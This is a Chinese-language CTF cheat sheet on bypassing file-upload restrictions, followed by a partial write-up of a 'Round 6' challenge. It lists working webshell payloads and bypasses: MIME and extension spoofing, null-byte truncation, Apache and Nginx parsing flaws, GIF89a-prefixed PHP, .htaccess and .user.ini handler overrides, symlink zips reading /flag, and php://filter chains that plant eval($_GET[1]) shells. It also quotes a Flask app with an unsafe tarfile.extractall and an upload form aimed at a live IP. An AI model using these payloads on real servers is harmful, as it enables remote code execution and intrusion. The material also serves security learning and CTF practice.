文件上传备忘录

0x01 文件上传-前端拦截 | 懂得都懂,前端拦截=无效操作

js检查代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//upload-labs level1
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

传个正常图,然后抓包修改就行了。

0x02 文件上传-后端校验MINE | 懂的都懂,还是无效操作

只校验MIME

1
$_FILES['upload_file']['type'] == 'image/jpeg')

无效操作,直接修改就完事了

常见MIMETYPE

audio/mpeg -> .mp3 application/msword -> .doc application/octet-stream -> .exe application/pdf -> .pdf application/x-javascript -> .js application/x-rar -> .rar application/zip -> .zip image/gif -> .gif image/jpeg -> .jpg / .jpeg image/png -> .png text/plain -> .txt text/html -> .html video/mp4 -> .mp4

0x03 文件上传-扩展名校验 | 你这waf保熟吗?

姿势1: 黑名单校验,但黑名单不全

其他后缀:*.php*.php3*.php4*.PHP*.phtml*.pht

姿势2: 白名单校验,但是有解析漏洞

截断绕过

/?upload=shell.php%00.jpg -> /?upload=shell.php

解析漏洞

Apache

服务器代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其它后缀的,例如在httpd.conf中如果配置有如下代码,则能够解析php和phtml文件

AddType application/x-httpd-php .php .phtml

在Apache的解析顺序中,是从右到左开始解析文件后缀的,如果最右侧的扩展名不可识别,就继续往左判断,直到遇到可以解析的文件后缀为止。因此,例如上传的文件名为1.php.xxxx,因为后缀xxxx不可解析,所以向左解析后缀php。

例如:shell.php.qwe.asd ->shell.php

Nginx

Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过 正则匹配设置SCRIPT_FILENAME。当访问www.xxx.com/phpinfo.jpg/1.php这个 URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成 SCRIPT_FILENAME传递给PHP CGI。

原因是开启了 fix_pathinfo 这个选项,会触发 在PHP中的如下逻辑: PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会 将phpinfo.jpg作为PHP文件来解析了。

0x04 文件上传-内容检测 | 这文件要是有长有短,我直接吃了它

1.magic number | 你不劈开这文件咋知道它熟不熟啊

magic number,它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。

1
2
3
4
GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)

2.过滤<?以及php

//需要php.ini开启短标签

3.正则替换

老生常谈,双写 or 其他

4.二次渲染 | 你TM劈我文件是吧

对渲染/加载测试的攻击方式是代码注入绕过。使用winhex在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般为图片的注释区。
对二次渲染的攻击方式就是攻击文件加载器自身

0x05文件上传-配置文件 | 看,吸铁石

.htaccess

只是适用于apache,如果变成niginx或者iis则不会被解析
文件上传漏洞之.htaccess

.htaccess文件(“分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令将受到限制。管理员可以通过Apache的AllowOverride指令来设置。

具体实现:

1、上传.htaccess文件至服务器上传目录,此时apache在解析该目录下的php时将按照文件要求。只要文件名匹配到所定义的字符串,就会将该文件当作php解析。

1
2
3
<FilesMatch "shana">
SetHandler application/x-httpd-php
</FilesMatch>

2、上传.htaccess文件设置的关键字的文件名,即上传一个黑名单没有过滤的随意后缀名文件,但文件名中一定要包含shana,如”shana.jpg”,内容为一句话木马。此时”shana.jpg”会被Apache当作php解析。

.user.ini

很通用

1
2
3
4
//.user.ini

GIF89a
auto_prepend_file=xxx

会自动包含xxx

系统特性

仅适用windows平台
windows 系统会自动删

源码一开天地灭,选择视窗保平安

0x06 文件上传-条件竞争 | 你是故意来找猹?

文件能传,但是传进去后就给你删了,通常情况下需要一边传一边访问,或者利用环境,让php迟一点删文件

0x07 文件上传-解压报错 | 你这压缩包是金子做的还是文件是金子做的

这种情况要求比较高了,需要后端解压压缩包
Dest0g3 520迎新赛 ezip
原理:创建一个解压到一半会报错的文件,然后遗留shell文件getshell

0x08 文件上传-软连接

传快捷方式进去,离谱

要求后端会解压文件

ln -s /flag flag 
zip -y flag.zip flag

0x09 文件上传-死亡exit | TMD刁民,敢杀我的马?

情况一 file_put_contents($filename,”<?php exit();”.$content);

编码绕过,base64 rot13 balabala
filename=php://filter/convert.base64-decode/resource=shell.php

或者写到.htaccess

1
2
filename=php://filter/write=string.strip_tags/resource=.htaccess
content=?>php_value auto_prepend_file flag.php

情况二 file_put_contents($content,”<?php exit();”.$content);

rot13content=php://filter/string.rot13|<?cuc cucvasb();?>|/resource=shell.php
二次编码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$char = 'r'; #构造r的二次编码
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
$aaa = '%'.$ascii1.'%'.$ascii2;
if(urldecode(urldecode($aaa)) == $char){
echo $char.': '.$aaa;
echo "\n";
}
}
}
?>

过滤器嵌套
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php

base64编码
content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php

第三种情况 file_put_contents($content,”“.\nxxxxx);

``

NaN upload-exp 这里放一些常用的文件上传,会继续更新

1.前端文件上传

1
2
3
4
<form id="upload-form" action="目标网站" method="post" enctype="multipart/form-data" >
   <input type="file" id="upload_file" name="upload_file" /> <br />
   <input type="submit" name="submit" value="上传" />
</form>

后端接收代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
?>

**注:**前端的<input type="file" id="upload_file" name="upload_file" />name=upload_file对应后端代码的$_FILES['upload_file'],前端的<input type="submit" name="submit" value="上传" />name="submit"对应后端代码的isset($_POST['submit']),实战环境中还是需要对具体环境进行一些修改

2. .htaccess文件

1
2
3
4
5
6
7
<FilesMatch "shana">
SetHandler application/x-httpd-php
</FilesMatch>

或者

AddType application/x-httpd-php .png

3. .user.ini文件

1
auto_prepend_file=xxx

鲁棒性非常好,甚至可以

1
2
GIF89a
auto_prepend_file=xxx

自动包含xxx

Refence:

狼组安全团队公开知识库
upload-labs通关攻略
文件上传总结
文件上传漏洞之.htaccess
.user.ini导致文件上传绕过
php死亡exit()绕过
关于file_put_contents的一些小测试

  

Round 6复现

Web check(V1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
print(file.filename)
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'

@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'

filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)

if '..' in filename or '/' in filename:
return '?'

if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'

with open(filepath, 'r') as f:
return f.read()

@app.route('/clean', methods=['POST'])
def clean_file():
os.system('/tmp/clean.sh')
return 'success'

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)

管他那么多,先整一个上传页面

1
2
3
4
<form id="upload-form" action="http://1.14.71.254:28597/upload" method="post" enctype="multipart/form-data" >
   <input type="file" id="upload" name="upload" /> <br />
   <input type="submit" value="Upload" />
</form>

:D 一言句子获取中...